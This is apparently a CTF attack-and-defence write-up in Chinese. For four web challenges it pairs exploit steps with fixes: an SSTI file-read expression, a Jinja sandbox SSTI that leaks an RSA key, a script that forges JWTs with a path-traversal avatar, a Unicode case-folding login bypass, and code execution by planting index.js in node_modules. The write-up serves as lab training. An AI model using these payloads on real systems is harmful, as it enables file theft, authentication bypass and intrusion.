solon_master
break
主要是要绕过一个判断和waf进行反序列化
fix
加黑名单
Fobee
break
主要就三个路由,第一个得到密码,第二个ssti,第三个看java版本信息
为了得到密码,我们来看看equalsIgnoreCase这个函数,有三种情况返回true,结合题目也就是要求username转大写等于ADMIN,绕过方法和nodejs的大小写绕过一样,具体看ezjs
不懂solon的传参方法,就把payload写在defaultValue里,成功绕过得到password
ssti直接看这个issue,成功读取文件
但是MD5后返回,所以我们可以直接一个个读,然后爆破
${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("flag",""))).charAt(0)}
fix
直接把username大小写转化的部分给删了。reader把一些恶意类给ban了。
ShareCard
break
from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os
class SaferSandboxedEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr: str, value) -> bool:
return True
def is_safe_callable(self, obj) -> bool:
return False
class Info(BaseModel):
name: str
avatar: str
signature: str
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
def safer_render_template(template_name, **kwargs):
env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
return env.from_string(open('templates/'+template_name).read()).render(**kwargs)
app = Flask(__name__)
rsakey = RSA.generate(1024)
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('style'))
info=Info(**request.form)
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
qr_img = BytesIO()
qrcode.make(share_url).save(qr_img,'png')
qr_img.seek(0)
share_img = base64.b64encode(qr_img.getvalue()).decode()
return safer_render_template("created.html", share_url=share_url, share_img=share_img)
@app.route("/showCard", methods=["GET"])
def show_card():
token = request.args.get("token")
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
info = Info(**data)
info.parse_avatar()
return safer_render_template("show.html", info=info)
@app.route("/", methods=["GET"])
def index():
return redirect(url_for('create_card'))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3232, debug=True)
很明显,这里会读取文件内容base64编码返回
如果我们能够控制avatar=../../../../etc/passwd,我们就可以任意读文件了,而这个值是从token中解密得到的。也就是我们必须想办法伪造我们的恶意token,而我们的token是用jwt的rs256加密的
然后这里还有两个ssti
但是这里还有限制,只能读属性,不能调用callable 函数,说明不能rce,但是可以读rsakey
接下来就是怎么ssti了,这里有个很奇怪的功能,就是可以写style
这里直接include了我们可以写的style.css,正常的写法是像上面那样写
既然可以include,我们直接拼接来ssti
在可以ssti的条件下现在我们来考虑怎么读rsakey
这里我们本地先调试一下
info.__class__.parse_avatar.__globals__.__getitem__('rsakey').publickey().exportKey()
info.__class__.parse_avatar.__globals__.__getitem__('rsakey').exportKey()
{{info.__class__.parse_avatar.__globals__}},报错了,不过无所谓
这里只要给它正常的token就不报错,得到rsakey
name=1&avatar=%F0%9F%A4%A1.svg&signature=7*7&style=</style>
{{info.__class__.parse_avatar.__globals__}}
{{7*7}}
<style>
这里写个脚本来得到publickey和privatekey
from Crypto.PublicKey.RSA import RsaKey
a = RsaKey(n=168847430506413632232758779998262041886095415651306627903844639769807505101122721915333525226451845552461432997694396485863356992519505258312851407042794613258187802636062493691470333386027479343582225457312830629407968204139014694417049193885039077195522230426232547258300958117051629795564704141112563342317, e=65537, d=58684510613471622365957848098027263836939154640973226885481074884060536051289704438522773969026963974456666017997207122007347690245346762498285386111979112695931741355577195267733375552126424175891603880833791426515194317841598959724479664325077615305203684574455749621267890578034651143810527598493647253657, p=12780798986926360516066912983561284634517903628158644181120044713618219509596753657724383431129390676550412389626771170734078167682242671292334242294734999, q=13211023088551019799809936126119425895962064230649348946782191145971976890687993393060472166746897955967310528034942787711754545685545170585078339310662683, u=445179507521355119116415121827634627579291254360873107183756519332790086792266254850675911860654307044235880800935795988955895875416496978288327978913093)
print(a.export_key().decode())
print(a.public_key().export_key().decode())
成功解密
修改avatar为../../../etc/passwd
成功读到/etc/passwd
from Crypto.PublicKey.RSA import RsaKey
import jwt
import base64
from pydantic import BaseModel
class Info(BaseModel):
name: str
avatar: str
signature: str
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
rsakey = RsaKey(n=150578113349205898488276292890099829389704668362565162059995081477317214405659763411677321600040650538234246341706811185256612685821470590192288260262833422179691345149780616046851112635772210271526453592527184426413222909270410889678801019514677783715580426838923931302662761057208469812736651721887467973411, e=65537, d=52653056053329828535126473076521243575524772762420076237055057214625935638300532038752206241471711675228422208671805827653587509569063746893229380598947488528218626065670559794191192592502048018501192362831817529832994394859149123508674228855018144606173522625084683679618604161317490521094088999515262188181, p=11467872222303462592781090966597204328470121262204536176295456548804930456457258518405480667349859078900690861447977805174219051342776881544474886773592399, q=13130431734001343813537751585004605159702109372048959793702371813691280191549458749092926017322209662167944140640359694300083187372654472989089287616990189, u=203032258646615363878640478081210301207565868998325937320945830665975047861423174393933577299896298708631067218485168226553587516652972926456967628027984)
print(rsakey.export_key().decode())
print(rsakey.public_key().export_key().decode())
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiMSIsImF2YXRhciI6Ilx1ZDgzZVx1ZGQyMS5zdmciLCJzaWduYXR1cmUiOiI3KjcifQ.m10hrLYLszf_ab3ZlYonelJAmiW2kWdwt2jRgQDwemwybjAJ_9AdlXrh7fxuBrkXjmAKX1irYPj1RWVL32k3c_esIYmu1KhRNuH_nTser4Hqm75Ipl6wq-wtatsn9VCO222W7ode6yxgnfUbzYel3dq_e1nE1vWrLpdsZIqVKu4"
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
print(data)
print(data['avatar'])
data['avatar']='../../../../../../flag'
print(data)
token = jwt.encode(data, rsakey.exportKey(), algorithm="RS256")
print(token)
成功读到
fix
删除include,然后用正常的方式导入
注意不能注释,注释了还是可以ssti,只不过结果在注释里
还可以把..ban掉,防止路径穿越
这里感觉不太好改,因为它要访问info的属性
ezjs
break
const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');
const path = require("path");
function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath);
fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
}
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
console.log(file.originalname)
// 直接使用原始文件名
cb(null, file.originalname);
}
});
// 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});
admin={
"username":"ADMIN",
"password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me?',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));
app.get('/',(req,res)=>{
res.redirect('/login')
})
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin'){
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase()
if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
// res.redirect('/login');
}
});
app.get('/upload', (req, res) => {
res.render('upload');
});
app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase();
if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
});
app.get('/render',(req, res) => {
const { filename } = req.query;
if (!filename) {
return res.status(400).send('Filename parameter is required');
}
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}
res.render(filePath);
});
app.get('/rename',IfLogin, (req, res) => {
if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}
const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
}
if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
}
if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}
res.send('File renamed successfully');
});
});
app.listen('3000', () => {
console.log(`http://localhost:3000`)
})
登录存在绕过,用nodejs的大小写转化的特性绕过就可以了。
toUpperCase():ı==>I,ſ==>S。
toLowerCase():İ==>i,K==>k。
顺便再给一个chatgpt给的验证脚本
// 指定特定字符
const targetCharacter = 'k';
// 函数:遍历并处理Unicode字符
function findCharactersConvertingToTarget(targetChar) {
const results = [];
for (let codePoint = 0; codePoint <= 0x10FFFF; codePoint++) {
// 跳过代理对
if (codePoint >= 0xD800 && codePoint <= 0xDFFF) continue;
// 获取当前字符
const char = String.fromCodePoint(codePoint);
// 转换为小写
const lowerChar = char.toLowerCase();
// 检查转换结果是否为目标字符
if (lowerChar === targetChar) {
results.push({
codePoint: codePoint.toString(16).toUpperCase(),
original: char,
lowerCase: lowerChar
});
}
}
return results;
}
// 执行函数并获取结果
const charactersConvertingToE = findCharactersConvertingToTarget(targetCharacter);
// 输出结果
console.log(`Characters converting to '${targetCharacter}':`);
charactersConvertingToE.forEach(item => {
console.log(`U+${item.codePoint}: '${item.original}' -> '${item.lowerCase}'`);
});
console.log(`Total: ${charactersConvertingToE.length} characters.`);
render存在ssti,endsWith是区分大小写的,但Ejs这种后缀也可以解析,或者直接不写后缀,也可以解析对应的ejs文件
还有个上传的路由,可以上传不是ejs后缀的文件
rename路由很容易想到是否可以把上传的文件重命名为ejs,但是尝试之后没成功
但是rename在重命名的时候提供了创建文件夹和路径穿越的功能,相当于可以把我们的上传的文件放在任意文件夹下
后面参考这篇文章,可以通过在node_modules创建一个文件夹写入index.js
在渲染的时候会自动去执行这个模块的index.js
fix
直接ban../